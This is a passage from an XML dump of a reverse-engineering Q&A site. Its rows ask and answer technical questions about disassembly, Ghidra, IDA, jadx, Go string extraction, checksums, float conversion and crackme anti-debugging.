Ghidra decompilation of SSE instructions?" Tags="|decompilation|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24976" PostTypeId="1" CreationDate="2020-05-11T07:41:45.580" Score="0" ViewCount="66" Body="&lt;p&gt;I want to know where a specific &lt;code&gt;std::string&lt;/code&gt; comes from, find the enrichment routine in the &lt;code&gt;C++&lt;/code&gt; application I'm reversing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The variable I'm looking for it at @ &lt;code&gt;[X21,#8]&lt;/code&gt;, I don't fully understand the following code, is that @ &lt;code&gt;*(*off_1B2000) + 8)&lt;/code&gt; ?  ( off_1B2000.readPointer().add(8).readPointer() ? )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I need to look for who sets the global pointer &lt;code&gt;off_1B2000&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that an inline constructor ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's assume I break in the start routine, I want to know where to set write &lt;strong&gt;watchpoint&lt;/strong&gt; to figure out who writes to &lt;code&gt;*(x21+8)&lt;/code&gt;&#xA;do I set @ &lt;code&gt;*(*off_1B2000) + 8)&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;loc_9F0000&#xA;ADRP            X0, #off_1B2000@PAGE&#xA;ADD             X21, SP, #0x260+v1&#xA;ADD             X24, SP, #0x260+v1&#xA;MOV             X8, X24&#xA;LDR             X0, [X0,#off_1B2000@PAGEOFF]&#xA;STR             XZR, [X21,#0x50]&#xA;ADD             X0, X0, #0x18&#xA;STR             X0, [X21]&#xA;STR             X0, [X21,#8] // &amp;lt;&amp;lt;  *(x21+8)=x0 This is who I'm looking for&#xA;STR             X0, [X21,#0x10]&#xA;STR             X0, [X21,#0x18]&#xA;STR             X0, [X21,#0x20]&#xA;STR             X0, [X21,#0x28]&#xA;STR             X0, [X21,#0x30]&#xA;STR             X0, [X21,#0x38]&#xA;STR             X0, [X21,#0x40]&#xA;MOV             W0, #0xFFFFFFFF&#xA;STR             W0, [X21,#0x48]&#xA;MOV             W0, #1&#xA;STR             W0, [X21,#0x4C]&#xA;MOV             X0, X19&#xA;STR             WZR, [X21,#0x58]&#xA;STR             WZR, [X21,#0x5C]&#xA;STRB            WZR, [X21,#0x60]&#xA;BL              sub_9F7000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="22071" LastEditorUserId="22071" LastEditDate="2020-05-13T14:09:10.317" LastActivityDate="2020-05-13T14:09:10.317" Title="reversing enrichment routine" Tags="|arm64|aarch64|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24977" PostTypeId="2" ParentId="24956" CreationDate="2020-05-11T07:58:09.343" Score="3" Body="&lt;p&gt;If you want proof-of-concept VM based obfuscator, you can actually skip the virtualization step and bytecode generation step. You can write an interpreter of x86 instructions in x86 assembler so that the implementation is easy. You can add custom instructions one by one later through assembler macros, for example. This is much less complicated process than writing a full-blown VM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The most trivial &quot;VM&quot; that runs some x86 instructions can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Barebit/trivial-vm&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/Barebit/trivial-vm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The vm1.c merely copies an x86 instruction to a buffer and runs it. It is not even an interpreter. The vm2 does the same but interprets few branch instructions that can't be run directly.&lt;/p&gt;&#xA;" OwnerUserId="4192" LastActivityDate="2020-05-11T07:58:09.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24978" PostTypeId="2" ParentId="24976" CreationDate="2020-05-11T08:02:48.680" Score="1" Body="&lt;p&gt;This &lt;code&gt;STR&lt;/code&gt; operation adds 8 bytes to the offset at X21, then stores the value of X0 there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are working with QWORD sized variables (8), so in C code it is something like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(uint64_t *)(offset_at_X21 + 1) = X0&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first instruction sets &lt;code&gt;X0=address of off_1B2000&lt;/code&gt; (const 0x1B2000). Later it is dereferenced &lt;code&gt;[X0,#offset...]&lt;/code&gt;. This is *(0x1B2000+0x1B2000), which is odd. Could it be &lt;code&gt;LDR X0,[X0]&lt;/code&gt;? IDA may give it the name &quot;#off_1B2000&quot; because it is clear that this is the value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;X21 pointes to the variable &quot;v1&quot; on the stack, (set by &lt;code&gt;ADD X21,SP,#0x260+v1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result of the code is something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;[v1+8] = *(off_1B2000)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-05-11T09:55:39.510" LastActivityDate="2020-05-11T09:55:39.510" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24980" PostTypeId="1" CreationDate="2020-05-11T13:26:17.533" Score="0" ViewCount="194" Body="&lt;p&gt;I am reverse engineering a piece of assembly. I am trying to write the equivalent code in C, however, when I compile my code, gcc prefers to use simple instructions instead of the complex ones that are used in my assembly. I was wondering if I can suggest or force gcc to use more complex instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; I have already tried using the &lt;code&gt;-O&lt;/code&gt; options but they will change lots of other variables and therefore, don't look like a good solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find examples here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// original assembly&#xA;lea     rdx, [rax+0x20]&#xA;&#xA;// generated by gcc&#xA;add     rax, 0x20&#xA;mov     rdx, rax&#xA;&#xA;// C code&#xA;0x20+((uint8_t *)lParm1)  // long lParm1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// original assembly&#xA;test    eax, eax&#xA;&#xA;// generated by gcc&#xA;mov     [rbp-0x10], eax&#xA;cmp     [rbp-0x10], 0x0&#xA;&#xA;// C code&#xA;if (!iVar)  // int iVar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// original assembly&#xA;mov     eax, [rax+0x40]&#xA;&#xA;// generated by gcc&#xA;add     rax, 0x40&#xA;mov     eax, [rax]&#xA;&#xA;// C code&#xA;(float)*(int *)(lParm1 + 0x40)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33181" LastEditorUserId="33181" LastEditDate="2020-05-11T14:07:24.970" LastActivityDate="2020-05-11T14:07:24.970" Title="Force gcc to use more complex instructions" Tags="|assembly|decompilation|gcc|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="24982" PostTypeId="2" ParentId="1902" CreationDate="2020-05-11T14:08:58.950" Score="1" Body="&lt;p&gt;One of things I do is to read the machine code and translate it back into IR pseudo opcodes sans any addressing address values, and then perform differences between those two pseudo-IR binaries after using this reduction method on each.  &lt;/p&gt;&#xA;" OwnerUserId="12145" LastEditorUserId="12145" LastEditDate="2020-05-11T18:31:30.967" LastActivityDate="2020-05-11T18:31:30.967" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24983" PostTypeId="2" ParentId="24974" CreationDate="2020-05-11T14:53:05.727" Score="1" Body="&lt;p&gt;One approach to deal with this would be Function Identification feature to automatically detect those functions and just rename them to &lt;code&gt;memcpy&lt;/code&gt; accordingly. The issue is that, unlike IDA, Ghidra doesn't ship with a rich library of signatures, though unlike IDA it at least seems feasible to generate your own[0]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could look into &lt;a href=&quot;https://blog.threatrack.de/2019/09/20/ghidra-fid-generator&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.threatrack.de/2019/09/20/ghidra-fid-generator&lt;/a&gt; and the related github repos with the code that generate the signatures and the already generated signatures and see if those work for your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[0] At least I personally never managed to figure out how this works with IDA&lt;/p&gt;&#xA;" OwnerUserId="31435" LastActivityDate="2020-05-11T14:53:05.727" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24984" PostTypeId="1" AcceptedAnswerId="24986" CreationDate="2020-05-11T16:00:57.933" Score="2" ViewCount="228" Body="&lt;p&gt;The way to decompile a function in Ghidra Python is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    decomp = DecompInterface()&#xA;    decomp.openProgram(currentProgram)&#xA;&#xA;    decompile = decomp.decompileFunction(func, 1000, monitor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in some cases, probably due to an error or corner case situations, the decompilation takes much more than expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how is it possible to cancel a decompilation task, using any kind of timeout, in Ghidra Python? I know that it's possible in the  GUI. &lt;a href=&quot;https://i.stack.imgur.com/CRlxq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CRlxq.png&quot; alt=&quot;&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="31278" LastActivityDate="2020-05-11T20:18:48.180" Title="Ghidra Python - cancel decompilation task" Tags="|decompilation|python|ghidra|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24985" PostTypeId="2" ParentId="24940" CreationDate="2020-05-11T17:41:05.533" Score="0" Body="&lt;p&gt;I just needed to cast to array buffer:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        var b = Java.use('[B')&#xA;        var buffer = Java.cast(retval, b);&#xA;        var result = Java.array('byte', buffer);&#xA;&#xA;        var str_ = &quot;&quot;;&#xA;        for (var i=0; i &amp;lt; result.length; i++) {&#xA;            str_ += String.fromCharCode(result[i]);     &#xA;&#xA;        }&#xA;        console.log(&quot;String: &quot; + str_)&#xA;&#xA;     }```&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="33126" LastActivityDate="2020-05-11T17:41:05.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24986" PostTypeId="2" ParentId="24984" CreationDate="2020-05-11T20:18:48.180" Score="3" Body="&lt;p&gt;You are already passing &lt;code&gt;1000&lt;/code&gt; to a &lt;code&gt;decompileFunction&lt;/code&gt; so according to the &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/app/decompiler/DecompInterface.html#decompileFunction(ghidra.program.model.listing.Function,int,ghidra.util.task.TaskMonitor)&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt; an exception should be thrown if it takes more time than that. Though, the timeout is in seconds and you set it to pretty high value - probably assuming it's in &lt;code&gt;ms&lt;/code&gt;. Change to &lt;code&gt;1&lt;/code&gt; and check if it will be cancelled with an exception if the time has passed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you use the &lt;code&gt;monitor&lt;/code&gt; object that you are passing also to the &lt;code&gt;decompileFunction&lt;/code&gt; method. It contains &lt;code&gt;cancel()&lt;/code&gt; function that can cancel the action it has been passed to. You can read more about this object &lt;a href=&quot;https://ghidra.re/ghidra_docs/api/ghidra/util/task/TaskMonitor.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2020-05-11T20:18:48.180" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24990" PostTypeId="2" ParentId="22718" CreationDate="2020-05-12T14:40:07.370" Score="1" Body="&lt;p&gt;The only Nord Sys Ex spec I found was for the Nord Stage, which apparently used a &quot;7-bit checksum (sum of all bytes above - wrapping).&quot;  So I yesterday I tried every variation of that I could think of, basically summing and masking to 7-bits.  Failing that I came back to this post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The message headers are similar between the two devices (same and different in the ways you'd expect for two versions of a product line).  The Sys Ex dump of one program on the ND1 is 110 bytes long (total).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CRC is new territory for me so I could use a &lt;em&gt;little&lt;/em&gt; clarification of your explanation of the short message checksum.  Do you mean:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;calculate CRC16(CCITT) of the full message;&lt;/li&gt;&#xA;&lt;li&gt;shift 9 bytes to the right (divide by 512);&lt;/li&gt;&#xA;&lt;li&gt;take the seven bit mask of that?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OK, that works on the ND1, at least insofar as changing a random bit and regenerating the checksum and sending it to the unit generates the &quot;r.c.u.&quot; message indicating it is receiving, unlike what it does with a bad checksum.  Doesn't actually change the program, but now perhaps actual reverse engineering of actual settings will work.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Trying a few small changes and comparing dumps, I'm afraid I see the same behavior on the ND1 that you see on the ND2 with bytes 105, 106, and 107 changing along with the last CRC checksum byte. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not going to get any further I'm afraid.  I'm impressed you got this far!  I'm a high school CS teacher so it was a good exercise for me -- I've learned quite a bit about checksums and data error detection in the past two days!&lt;/p&gt;&#xA;" OwnerUserId="33191" LastEditorUserId="33196" LastEditDate="2020-05-16T00:47:49.583" LastActivityDate="2020-05-16T00:47:49.583" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24991" PostTypeId="1" CreationDate="2020-05-12T15:23:59.903" Score="0" ViewCount="527" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/imguT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/imguT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi, please help me on this problem, I don't understand how this Float &quot;4-bytes&quot; or IEEE 754 floating point, is converted to short_signed &quot;2-bytes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I convert the float &quot;4-bytes&quot; hexadecimal to float decimal, then I convert this float decimal to hexadecimal again. and I get the short_signed result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But the problem when I put the normals or UVs, I get always 0.xxxx when I convert this 0.xxxx to hexadecimal doesn't give the result like the short_signed in the image or excel file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the website to convert hexadecimal to IEEE 754: &lt;a href=&quot;https://gregstoll.com/~gregstoll/floattohex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gregstoll.com/~gregstoll/floattohex/&lt;/a&gt; (check swap endianness) and the website to convert decimal to hexadecimal: &lt;a href=&quot;https://www.rapidtables.com/convert/number/decimal-to-hex.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.rapidtables.com/convert/number/decimal-to-hex.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the full Float 4-bytes to Short_signed 2-bytes excel file for results: &lt;a href=&quot;https://drive.google.com/open?id=1oKxVuqFVcVX3NEGLwzFvsZqXos1PwYIA&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://drive.google.com/open?id=1oKxVuqFVcVX3NEGLwzFvsZqXos1PwYIA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="33198" LastActivityDate="2020-05-13T12:43:53.153" Title="How this Float “4-bytes” is converted to Short_signed “2-bytes”?" Tags="|hexadecimal|float|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24992" PostTypeId="1" AcceptedAnswerId="25029" CreationDate="2020-05-12T16:41:17.013" Score="1" ViewCount="801" Body="&lt;p&gt;So in xdbg in the memory map, i can see that some segments are mapped and some are private, at first i thought maybe mapped means it has a corresponding file on disk and its the mapped version of that, but there are so many mapped segments which don't have a corresponding file, some of which are reserved&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so i have two questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What is the difference between mapped and private segments?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What are these (reserved) sections? what does reserved mean?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/W8ae9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/W8ae9.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28109" LastActivityDate="2020-06-14T22:06:00.677" Title="What is the difference between mapped and private memory segments in xdbg? and what is a reserved segment?" Tags="|windows|debugging|memory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24994" PostTypeId="1" AcceptedAnswerId="25051" CreationDate="2020-05-12T21:00:33.863" Score="0" ViewCount="776" Body="&lt;p&gt;Are there anyways I can learn what packageInfo.signatures[0] is so I can use it to apply the same algorithm in Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To further explain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    private static SecretKeySpec a(Context context) {&#xA;        try {&#xA;            PackageInfo packageInfo = context.getPackageManager().getPackageInfo(context.getPackageName(), 64);&#xA;            if (!(packageInfo == null || packageInfo.signatures == null || packageInfo.signatures.length &amp;lt;= 0)) {&#xA;                return new SecretKeySpec(Arrays.copyOf(packageInfo.signatures[0].toByteArray(), 16), &quot;AES&quot;);&#xA;            }&#xA;        } catch (NameNotFoundException e2) {&#xA;            ThrowableExtension.a(e2);&#xA;        }&#xA;        return null;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This android app is sending some sort of a key that is changing based on timestamp with every request it is sending. And it is using the above code for creating a SecretKeySpec which then gets used in below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    @NonNull&#xA;    private synchronized String d(String str) {&#xA;        byte[] digest;&#xA;        try {&#xA;            byte[] bytes = str.getBytes(&quot;UTF-8&quot;);&#xA;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;     this.r.init(2, this.l);&#xA;            byte[] doFinal = this.r.doFinal(this.k);&#xA;            byte[] a2 = Bytes.a(doFinal, this.j, bytes, doFinal, this.n.a().getBytes(&quot;UTF-8&quot;));&#xA;            digest = this.q.digest(a2);&#xA;            Arrays.fill(a2, 0);&#xA;            Arrays.fill(doFinal, 0);&#xA;        } catch (Exception e2) {&#xA;            throw new RuntimeException(e2);&#xA;        }&#xA;        return jl.a(digest);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, I know that the function argument &lt;code&gt;str&lt;/code&gt; is for some reason &lt;code&gt;currentTimeMillis * 1151&lt;/code&gt; which gets used in &lt;code&gt;byte[] a2 = ...&lt;/code&gt; line then gets hashed with sha1 there comes the time based changing part. What I can't find is what signatures[0] is in this context and how can I achieve it, in the construction of the class, &lt;code&gt;this.l&lt;/code&gt; is assigned with SecretKeySpec ( signature[0] ). &lt;code&gt;this.r&lt;/code&gt; is an AES Cipher. From the readings I made, I think the &quot;2&quot; in &lt;code&gt;init(2, this.l)&lt;/code&gt; means decode mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And Can you please explain to me what is the effect of filling &lt;code&gt;a2&lt;/code&gt; and &lt;code&gt;doFinal&lt;/code&gt; variables with &lt;code&gt;0(zeroes)&lt;/code&gt; in this context as it doesn't get used anywhere else.&lt;/p&gt;&#xA;" OwnerUserId="33201" LastActivityDate="2020-05-18T03:36:21.900" Title="Android packageInfo signature" Tags="|android|encryption|apk|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24997" PostTypeId="1" CreationDate="2020-05-13T07:01:46.283" Score="1" ViewCount="324" Body="&lt;p&gt;so i've been reversing this ai assistant app to figure out what kind of forensic data it leaves on local file system. during static analysis with jadx-gui i found some interesting methods that take string pathnames as parameters and store encrypted json files on that path. but the thing is, these kind of methods has zero usage and appearances on code other than their declarations. none of them or their classes were linked to any receiver method so i have no idea what to make of this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So are there any kind of implications regarding methods that only declared once and not used??&#xA;Sorry for not sharing and code. i'm not sure i can do that :/&lt;/p&gt;&#xA;" OwnerUserId="33203" LastActivityDate="2020-05-13T07:53:14.060" Title="methods that have zero usage in jadx?" Tags="|android|static-analysis|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24998" PostTypeId="2" ParentId="24997" CreationDate="2020-05-13T07:53:14.060" Score="4" Body="&lt;p&gt;If Jadx can not find any usage of a method this may be a false result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of methods can't be decompiled by Jadx, this can happen especially on lengthy or complex methods. All method calls within such non-decompilable methods are invisible to the usage search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally as far as I know Jadx has no functionality for resolving inheritance. This may also result in existing usages of a method that can not be found by Jadx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last but not least an Java/Android developer can decide to call a method via reflection. Such method calls can't be recognized by Jadx at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore if Jadx can't find any usage of a method the method may be not unused.&#xA;If you want to make sure the method is really never called decompile the APK using apktool. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Make a full-text search for the method signature. &lt;/li&gt;&#xA;&lt;li&gt;Check the class hierarchy if the method may be called on other classes.&lt;/li&gt;&#xA;&lt;li&gt;Make a full-text search on the method and class name by string and check if they are used for calling the method via Java reflection.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1848" LastActivityDate="2020-05-13T07:53:14.060" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24999" PostTypeId="1" CreationDate="2020-05-13T09:37:25.663" Score="13" ViewCount="2823" Body="&lt;p&gt;Is there an easy way to extract all of the strings from Go binaries that will work cross architecture?&lt;/p&gt;&#xA;&lt;p&gt;The problem with Go is that strings are stored without a null terminator, so you can't use the &amp;quot;strings&amp;quot; command plainly.&lt;/p&gt;&#xA;&lt;p&gt;I found two solutions so far -&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/CarveSystems/gostringsr2&quot; rel=&quot;nofollow noreferrer&quot;&gt;gostringsr2&lt;/a&gt; - Extracts strings using references to the string section (by using radare2). But this method doesn't work 100% and screws up some strings because there are indirect references, etc...,&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/strazzere/golang_loader_assist/blob/master/golang_loader_assist.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;golang_loader_assist&lt;/a&gt; - Extracts strings by searching for &lt;code&gt;lea&lt;/code&gt;/&lt;code&gt;mov&lt;/code&gt; instruction to the string section. But this method only works for x86 architectures.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Is there a more generic and correct way to extract the strings from Go compiled binaries?&lt;/p&gt;&#xA;" OwnerUserId="33204" LastEditorUserId="22669" LastEditDate="2023-06-19T23:31:34.420" LastActivityDate="2023-06-19T23:31:34.420" Title="Extracting strings from Go binaries" Tags="|disassembly|binary-analysis|elf|strings|go|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="25000" PostTypeId="1" AcceptedAnswerId="25001" CreationDate="2020-05-13T09:54:30.113" Score="1" ViewCount="544" Body="&lt;p&gt;I'm trying to generate IDB files from the command-line using the &lt;code&gt;-o&lt;/code&gt; flag of IDA, something like this:&#xA;&lt;code&gt;ida.exe -B input.dll -oC:\Results\input.idb&lt;/code&gt;. However, it seems that the value of the &lt;code&gt;-o&lt;/code&gt; arguments are completely ignored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried this with &lt;code&gt;ida.exe&lt;/code&gt;, &lt;code&gt;ida64.exe&lt;/code&gt;, &lt;code&gt;idat.exe&lt;/code&gt;, and &lt;code&gt;idat64.exe&lt;/code&gt;. I've tried adding &lt;code&gt;-c&lt;/code&gt; and also tried removing &lt;code&gt;-B&lt;/code&gt; flags. None of these work.&lt;/p&gt;&#xA;" OwnerUserId="26125" LastActivityDate="2020-05-13T09:58:55.560" Title="How to specify path of output database in IDA Pro?" Tags="|ida|command-line|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25001" PostTypeId="2" ParentId="25000" CreationDate="2020-05-13T09:58:55.560" Score="4" Body="&lt;p&gt;Any switches after the input filename are ignored. Just move the filename to the end.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-05-13T09:58:55.560" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25002" PostTypeId="1" CreationDate="2020-05-13T11:43:51.080" Score="3" ViewCount="927" Body="&lt;p&gt;I have taken a deep dive into reversing software with IDA, I used Ghidra before. I have already solved a couple of basic crackmes now I have targeted another one which's code is obfuscated, also has anti-debugging features and as far as I can understand it modifies its code during the the tls callbacks (at least thats what IDA indicated when stepping through the tls callbacks, there are 3 of them). I suspect the tls callbacks check for debuggers and also it unpacks the executable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to ask a couple of questions in connection with this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;How would you go about reversing a code that is heavly obfuscated?&#xA;(Lots of jumps and opaque predicates.) Maybe after the tls callbacks&#xA;finish the code is unpacked and some of the obfuscation is removed?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I have added breakpoints to the main debug checking functions from&#xA;ntdll.dll and kernel32.dll to see if they call any, I saw they had&#xA;multiple calls to ntqueryprocessinformation, I suspect they are&#xA;querying their own process?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, if i want to read the memory of the application during runtime,&#xA;I will need to find a way to bypass their anti debug features,&#xA;meaning I have to figure out what they are doing with the tls&#xA;callbacks and also from the entry point of the PE?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am looking for any general or specific guidelines you guys can throw me, in order to defeat their obfuscation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="33207" LastActivityDate="2023-02-06T03:27:33.037" Title="Guidelines for dealing with obfuscated code" Tags="|ida|obfuscation|anti-debugging|deobfuscation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25003" PostTypeId="2" ParentId="24991" CreationDate="2020-05-13T12:43:53.153" Score="1" Body="&lt;p&gt;&lt;strong&gt;One word, precision&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By definition, a normal is a vector with a length of 1.0f which means that each component of the vector will always fall between -1.0f and +1.0f, and UV are texture coordinates expressed in a range between 0 and +1.0f.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number of possible states that you can represent with this range of numbers is huge and even exceeds the total number of states in a singed short. So if you want to retain the greatest precision possible, you need to scale the value by the maximum value of a singed short.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore, to obtain the correct results, you need to multiply by 32767 and then round it to the nearest integer (if it's a texture coordinate) or truncate it (if it's a normal). The rounding and truncating are just some observations I made when converting the values myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example normal (using the 9th row):&lt;br/&gt;&#xA;X: 0x96DE = -26914 = truncate(-0.821400702 * 32767 = truncate(-26914.836802434)&lt;br/&gt;&#xA;Y: 0x3E17 = 13847 = truncate(0.422606796026 * 32767) = truncate(13847.556885383942)&lt;br/&gt;&#xA;Z: 0xCEFA = -12250 = truncate(-0.383020102978 * 32767) = truncate(-12550.419714280126)&lt;br/&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example UV (using the 1st row):&lt;br/&gt;&#xA;X: 0x64FD = 25853 = round(0.788999974728 * 32767) = round(25853.162171912376)&lt;br/&gt;&#xA;Y: 0x5D49 = 23881 = round(0.72879999876 * 32767) = round(23880.58955936892)&lt;/p&gt;&#xA;" OwnerUserId="23894" LastActivityDate="2020-05-13T12:43:53.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
